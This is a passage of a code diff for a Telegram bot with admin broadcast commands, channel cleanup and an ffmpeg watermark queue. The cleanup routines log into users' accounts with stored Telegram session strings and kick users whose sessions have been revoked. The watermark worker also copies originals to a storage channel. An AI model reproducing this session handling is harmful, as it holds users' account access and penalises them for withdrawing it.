+ if "disconnect" in err_msg or "connection" in err_msg or "timeout" in err_msg or "network" in err_msg:
1162
+ retries -= 1
1163
+ await asyncio.sleep(3)
1164
+ else:
1165
+ fail_count += 1
1166
+ break
1167
+ await asyncio.sleep(1.5)
1168
+
1169
+ retries = 3
1170
+ while retries > 0:
1171
+ try:
1172
+ if not client.is_connected: await client.connect()
1173
+ await message.reply(f"📢 <b>Broadcast Complete!</b>\n\n✅ Success: {success_count} groups\n❌ Failed: {fail_count} groups", parse_mode=enums.ParseMode.HTML)
1174
+ break
1175
+ except FloodWait as e:
1176
+ await asyncio.sleep(e.value + 1)
1177
+ except Exception as e:
1178
+ err_msg = str(e).lower()
1179
+ if "disconnect" in err_msg or "connection" in err_msg or "timeout" in err_msg:
1180
+ retries -= 1
1181
+ await asyncio.sleep(3)
1182
+ else: break
1183
+
1184
+ except Exception as e:
1185
+ try: await message.reply(f"⚠️ Error during upload/broadcast: {str(e)}")
1186
+ except: pass
1187
+ finally:
1188
+ for f in [original_file, watermarked_file, blurred_file, f"{original_file}_thumb.jpg" if original_file else None, f"{original_file}_storage_thumb.jpg" if original_file else None]:
1189
+ if f and os.path.exists(f):
1190
+ try: os.remove(f)
1191
+ except: pass
1192
+
1193
+ @bot.on_message(filters.command(["stats", "users"]) & filters.private & filters.user(ADMIN_IDS))
1194
+ async def bot_stats(client, message):
1195
+ try:
1196
+ users = await db_query(lambda: supabase.table('referrals').select('user_id', count='exact').execute())
1197
+ videos = await db_query(lambda: supabase.table('videos').select('*', count='exact').execute())
1198
+ groups = await db_query(lambda: supabase.table('groups').select('group_id', count='exact').execute())
1199
+ await message.reply(f"📊 <b>Bot Stats:</b>\n👥 Users: <code>{users.count or 0}</code>\n🎬 Videos: <code>{videos.count or 0}</code>\n📢 Groups: <code>{groups.count or 0}</code>", parse_mode=enums.ParseMode.HTML)
1200
+ except Exception as e: print(e)
1201
+
1202
+ @bot.on_message(filters.command("broadcast") & filters.private & filters.user(ADMIN_IDS))
1203
+ async def broadcast_command(client, message):
1204
+ admin_states[message.chat.id] = {"step": "broadcast"}
1205
+ await message.reply("📢 Send the message you want to broadcast. (Send /cancel to abort)")
1206
+
1207
+ async def process_broadcast(client, message):
1208
+ text = message.text or message.caption
1209
+ if text == '/cancel':
1210
+ admin_states.pop(message.chat.id, None)
1211
+ return await message.reply("❌ Cancelled.")
1212
+
1213
+ await message.reply("⏳ Broadcast started...")
1214
+ admin_states.pop(message.chat.id, None)
1215
+
1216
+ try:
1217
+ all_users, start, step = [], 0, 1000
1218
+ while True:
1219
+ res = await db_query(lambda: supabase.table('referrals').select('user_id').range(start, start + step - 1).execute())
1220
+ if not res.data: break
1221
+ all_users.extend(res.data)
1222
+ start += step
1223
+
1224
+ success, failed = 0, 0
1225
+ for u in all_users:
1226
+ try:
1227
+ await message.copy(chat_id=u['user_id'])
1228
+ success += 1
1229
+ await asyncio.sleep(0.15)
1230
+ except FloodWait as e:
1231
+ await asyncio.sleep(e.value + 1)
1232
+ try:
1233
+ await message.copy(chat_id=u['user_id'])
1234
+ success += 1
1235
+ except Exception: failed += 1
1236
+ except Exception: failed += 1
1237
+
1238
+ await message.reply(f"✅ Broadcast Complete!\nSuccess: {success}\nFailed: {failed}")
1239
+ except Exception as e: print(e)
1240
+
1241
+ @bot.on_message(filters.command("clean") & filters.private & filters.user(ADMIN_IDS))
1242
+ async def manual_clean_channel(client, message):
1243
+ await message.reply("⏳ <b>Starting channel cleanup...</b>\nChecking database users to verify active sessions. This might take a while.")
1244
+ try:
1245
+ kicked, checked = 0, 0
1246
+ res_users = await db_query(lambda: supabase.table('referrals').select('user_id').execute())
1247
+ if not res_users.data:
1248
+ return await message.reply("❌ No users found in database!")
1249
+
1250
+ user_ids = [u['user_id'] for u in res_users.data]
1251
+
1252
+ for user_id in set(user_ids):
1253
+ try:
1254
+ chat_member = await bot.get_chat_member(PREMIUM_CHANNEL_ID, user_id)
1255
+ if chat_member.status in [enums.ChatMemberStatus.MEMBER, enums.ChatMemberStatus.RESTRICTED]:
1256
+ checked += 1
1257
+ res_session = await db_query(lambda: supabase.table('user_sessions').select('session_string').eq('user_id', user_id).execute())
1258
+
1259
+ is_valid = False
1260
+ if res_session.data:
1261
+ session_string = res_session.data[0]['session_string']
1262
+ temp_client = Client(f"manual_chk_{user_id}", session_string=session_string, api_id=API_ID, api_hash=API_HASH, in_memory=True)
1263
+ try:
1264
+ await temp_client.connect()
1265
+ await temp_client.get_me()
1266
+ await temp_client.disconnect()
1267
+ is_valid = True
1268
+ except (SessionRevoked, AuthKeyUnregistered, UserDeactivated):
1269
+ try: await temp_client.disconnect()
1270
+ except: pass
1271
+ await db_query(lambda: supabase.table('user_sessions').delete().eq('user_id', user_id).execute())
1272
+ except Exception:
1273
+ try: await temp_client.disconnect()
1274
+ except: pass
1275
+ is_valid = True
1276
+
1277
+ if not is_valid:
1278
+ try:
1279
+ await client.ban_chat_member(PREMIUM_CHANNEL_ID, user_id)
1280
+ await client.unban_chat_member(PREMIUM_CHANNEL_ID, user_id)
1281
+ kicked += 1
1282
+ except Exception: pass
1283
+
1284
+ await asyncio.sleep(1.5)
1285
+ except FloodWait as e:
1286
+ await asyncio.sleep(e.value + 1)
1287
+ except Exception: pass
1288
+
1289
+ await message.reply(f"✅ <b>Cleanup Complete!</b>\n\n👥 Members checked: {checked}\n👢 Users Kicked: {kicked}")
1290
+ except Exception as e:
1291
+ await message.reply(f"❌ Error: {e}")
1292
+
1293
+ async def auto_clean_channel_loop():
1294
+ await asyncio.sleep(60)
1295
+ while True:
1296
+ try:
1297
+ res_users = await db_query(lambda: supabase.table('referrals').select('user_id').execute())
1298
+ if res_users.data:
1299
+ user_ids = [u['user_id'] for u in res_users.data]
1300
+ for user_id in set(user_ids):
1301
+ try:
1302
+ chat_member = await bot.get_chat_member(PREMIUM_CHANNEL_ID, user_id)
1303
+ if chat_member.status in [enums.ChatMemberStatus.MEMBER, enums.ChatMemberStatus.RESTRICTED]:
1304
+ res_session = await db_query(lambda: supabase.table('user_sessions').select('session_string').eq('user_id', user_id).execute())
1305
+
1306
+ is_valid = False
1307
+ if res_session.data:
1308
+ session_string = res_session.data[0]['session_string']
1309
+ temp_client = Client(f"bg_chk_{user_id}", session_string=session_string, api_id=API_ID, api_hash=API_HASH, in_memory=True)
1310
+ try:
1311
+ await temp_client.connect()
1312
+ await temp_client.get_me()
1313
+ await temp_client.disconnect()
1314
+ is_valid = True
1315
+ except (SessionRevoked, AuthKeyUnregistered, UserDeactivated):
1316
+ try: await temp_client.disconnect()
1317
+ except: pass
1318
+ await db_query(lambda: supabase.table('user_sessions').delete().eq('user_id', user_id).execute())
1319
+ except Exception:
1320
+ try: await temp_client.disconnect()
1321
+ except: pass
1322
+ is_valid = True
1323
+
1324
+ if not is_valid:
1325
+ try:
1326
+ await bot.ban_chat_member(PREMIUM_CHANNEL_ID, user_id)
1327
+ await bot.unban_chat_member(PREMIUM_CHANNEL_ID, user_id)
1328
+ except Exception: pass
1329
+ await asyncio.sleep(2)
1330
+ except FloodWait as e:
1331
+ await asyncio.sleep(e.value + 1)
1332
+ except Exception: pass
1333
+ except Exception as e:
1334
+ print(f"Auto clean error: {e}")
1335
+ await asyncio.sleep(4 * 3600)
1336
+
1337
+ @bot.on_message(filters.private & filters.user(ADMIN_IDS) & ~filters.command(["start", "stats", "users", "broadcast", "png", "addvideo", "blur", "clean", "sendto", "clone", "cloneall", "upload", "startshare", "stopshare", "help"]))
1338
+ async def catch_admin_steps(client, message):
1339
+ state = admin_states.get(message.chat.id, {})
1340
+ if state.get("step") == 1:
1341
+ if not message.text: return
1342
+ video_url = message.text.strip()
1343
+ if video_url == "/cancel":
1344
+ admin_states.pop(message.chat.id, None)
1345
+ return await message.reply("❌ Cancelled.")
1346
+
1347
+ try:
1348
+ await db_query(lambda: supabase.table('videos').insert({"video_url": video_url, "thumbnail_url": state["thumbnail_url"], "needed_ref": state["needed_ref"]}).execute())
1349
+ await message.reply("🎉 Video added successfully!")
1350
+ except Exception as e: print(e)
1351
+ finally: admin_states.pop(message.chat.id, None)
1352
+ elif state.get("step") == "broadcast":
1353
+ await process_broadcast(client, message)
1354
+
1355
+ # ==========================================
1356
+ # REDIS QUEUE WATERMARK MULTIPROCESSING
1357
+ # ==========================================
1358
+ REDIS_URL = os.environ.get("REDIS_URL_1")
1359
+
1360
+ processing_owners = set()
1361
+ MAX_CONCURRENT_VIDEOS = 5
1362
+
1363
+ async def process_single_video(task, redis_client):
1364
+ global processing_owners
1365
+ clone_token = task['clone_token']
1366
+ owner_id = task['owner_id']
1367
+ message_id = task['message_id']
1368
+ wm_text = task['watermark_text']
1369
+ task_id = f"{owner_id}_{message_id}"
1370
+
1371
+ raw_video_path = None
1372
+ watermarked_path = None
1373
+ thumb_path = f"thumb_{task_id}.jpg"
1374
+ clone_client = None
1375
+
1376
+ print(f"▶️ [WM] Task Started for User: {owner_id}, Msg: {message_id}")
1377
+
1378
+ try:
1379
+ clone_client = Client(f"clone_wm_{task_id}", bot_token=clone_token, api_id=API_ID, api_hash=API_HASH, in_memory=True)
1380
+ await clone_client.start()
1381
+ print(f"▶️ [WM] Clone Client Started Successfully")
1382
+
1383
+ msg = await clone_client.get_messages(owner_id, message_id)
1384
+ if not msg or not (msg.video or msg.document):
1385
+ raise Exception("Video not found or deleted by user.")
1386
+
1387
+ status_msg = await clone_client.send_message(owner_id, "⏳ <b>ভিডিও প্রসেসিং শুরু হয়েছে...</b>", parse_mode=enums.ParseMode.HTML)
1388
+
1389
+ raw_video_path = await clone_client.download_media(msg)
1390
+ print(f"▶️ [WM] Original Video Downloaded: {raw_video_path}")
1391
+
1392
+ await clone_client.edit_message_text(owner_id, status_msg.id, "⏳ <b>ওয়াটারমার্ক যুক্ত করা হচ্ছে... (High Speed CPU Mode)</b>", parse_mode=enums.ParseMode.HTML)
1393
+
1394
+ watermarked_path = f"wm_{task_id}.mp4"
1395
+
1396
+ cmd = [
1397
+ "ffmpeg", "-y", "-i", raw_video_path,
1398
+ "-vf", f"drawtext=text='{wm_text}':x=W-tw-20:y=H-th-20:fontsize=22:fontcolor=white@0.7:shadowcolor=black@0.8:shadowx=2:shadowy=2:enable='gte(t,5)'",
1399
+ "-c:v", "libx264", "-preset", "ultrafast", "-crf", "26", "-threads", "4",
1400
+ "-c:a", "copy", "-movflags", "+faststart", watermarked_path
1401
+ ]
1402
+
1403
+ process = await asyncio.create_subprocess_exec(*cmd, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE)
1404
+ stdout, stderr = await process.communicate()
1405
+
1406
+ if process.returncode != 0 or not os.path.exists(watermarked_path) or os.path.getsize(watermarked_path) == 0:
1407
+ raise Exception("FFmpeg processing failed! The video format might be unsupported.")
1408
+
1409
+ print(f"▶️ [WM] FFmpeg Processing Complete!")
1410
+
1411
+ thumb_cmd = ["ffmpeg", "-y", "-i", watermarked_path, "-vframes", "1", thumb_path]
1412
+ t_proc = await asyncio.create_subprocess_exec(*thumb_cmd, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE)
1413
+ await t_proc.communicate()
1414
+ if not os.path.exists(thumb_path) or os.path.getsize(thumb_path) == 0:
1415
+ thumb_path = None
1416
+
1417
+ await clone_client.edit_message_text(owner_id, status_msg.id, "⏳ <b>ফাইনাল ভিডিও স্টোরেজে আপলোড হচ্ছে...</b>", parse_mode=enums.ParseMode.HTML)
1418
+
1419
+ async def backup_raw_video():
1420
+ try:
1421
+ await bot.send_video(chat_id=STORAGE_CHANNEL_ID, video=raw_video_path, caption=f"Original Backup for Clone Owner {owner_id}")
1422
+ except Exception: pass
1423
+ asyncio.create_task(backup_raw_video())
1424
+
1425
+ wm_sent = await bot.send_video(
1426
+ chat_id=STORAGE_CHANNEL_ID,
1427
+ video=watermarked_path,
1428
+ caption=f"Watermarked Backup for Clone Owner {owner_id}",
1429
+ thumb=thumb_path
1430
+ )
1431
+
1432
+ wm_storage_id = wm_sent.id
1433
+ stream_link = f"{BACKEND_URL}/stream/{wm_storage_id}"
1434
+ download_link = f"{BACKEND_URL}/download/{wm_storage_id}"
1435
+
1436
+ final_caption = (
1437
+ f"✅ <b>Watermark Successfully Added!</b>\n\n"
1438
+ f"🎬 <b>Stream/Watch Online Link:</b>\n<code>{stream_link}</code>\n\n"
1439
+ f"📥 <b>Direct Download Link:</b>\n<code>{download_link}</code>"
1440
+ )
1441
+
1442
+ await clone_client.send_video(
1443
+ chat_id=owner_id,
1444
+ video=watermarked_path,
1445
+ caption=final_caption,
1446
+ parse_mode=enums.ParseMode.HTML,
1447
+ thumb=thumb_path
1448
+ )
1449
+
1450
+ await clone_client.delete_messages(owner_id, status_msg.id)
1451
+
1452
+ except Exception as e:
1453
+ print(f"❌ [WM] Process Error: {e}")
1454
+ try:
1455
+ if clone_client and clone_client.is_connected:
1456
+ await clone_client.send_message(owner_id, f"❌ <b>Error processing video:</b> {e}", parse_mode=enums.ParseMode.HTML)
1457
+ except Exception as ex:
1458
+ print(f"❌ [WM] Failed to send error msg to user: {ex}")
1459
+
1460
+ finally:
1461
+ if raw_video_path and os.path.exists(raw_video_path): os.remove(raw_video_path)
1462
+ if watermarked_path and os.path.exists(watermarked_path): os.remove(watermarked_path)
1463
+ if thumb_path and os.path.exists(thumb_path): os.remove(thumb_path)
1464
+
1465
+ if clone_client and clone_client.is_connected:
1466
+ await clone_client.stop()
1467
+
1468
+ await redis_client.delete(f"wm_processing:{owner_id}")
1469
+ processing_owners.discard(owner_id)
1470
+ print(f"▶️ [WM] Task Cleaned Up and Client Stopped")
1471
+
1472
+ async def watermark_processor_loop():
1473
+ global processing_owners
1474
+
1475
+ if not REDIS_URL:
1476
+ print("⚠️ REDIS_URL missing in Hugging Space! Watermark feature disabled.")
1477
+ return
1478
+
1479
+ try:
1480
+ redis_client = redis.Redis.from_url(REDIS_URL, decode_responses=True)
1481
+ await redis_client.ping()
1482
+ print("💧 Super-Fast Redis Watermark Processor Started!")
1483
+ except Exception as e:
1484
+ print(f"❌ Redis Connection Failed in Hugging Face: {e}")
1485
+ return
1486
+
1487
+ try:
1488
+ async for key in redis_client.scan_iter("wm_processing:*"):
1489
+ await redis_client.delete(key)
1490
+ except: pass
1491
+
1492
+ while True:
1493
+ try:
1494
+ if len(processing_owners) >= MAX_CONCURRENT_VIDEOS:
1495
+ await asyncio.sleep(2)
1496
+ continue
1497
+
1498
+ result = await redis_client.rpop("watermark_task_queue")
1499
+
1500
+ if result:
1501
+ print(f"📥 [WM] Received New Video Task from Queue!")
1502
+ task = json.loads(result)
1503
+ owner_id = task['owner_id']
1504
+
1505
+ processing_owners.add(owner_id)
1506
+ asyncio.create_task(process_single_video(task, redis_client))
1507
+ else:
1508
+ await asyncio.sleep(2)
1509
+
1510
+ except Exception as e:
1511
+ print(f"❌ [WM] Loop Error: {e}")
1512
+ await asyncio.sleep(2)
1513
+
1514
+ def run_flask(): app.run(host="0.0.0.0", port=int(os.environ.get("PORT", 7860)), threaded=True)
1515
+
1516
+ async def main():
1517
+ try:
1518
+ await bot.start()
1519
+ print("🤖 Pyrogram Bot & Real Session API is running!")
1520
+ asyncio.create_task(auto_clean_channel_loop())
1521
+ asyncio.create_task(watermark_processor_loop())
1522
+ await idle()
1523
  except Exception as e:
1524
+ print(f" Failed to start Bot: {e}")
1525
+ while True: await asyncio.sleep(3600)
1526
  finally:
1527
+ try: await bot.stop()
1528
+ except: pass
 
1529
 
1530
  if __name__ == "__main__":
1531
+ threading.Thread(target=run_flask, daemon=True).start()
1532
+ main_loop.run_until_complete(main())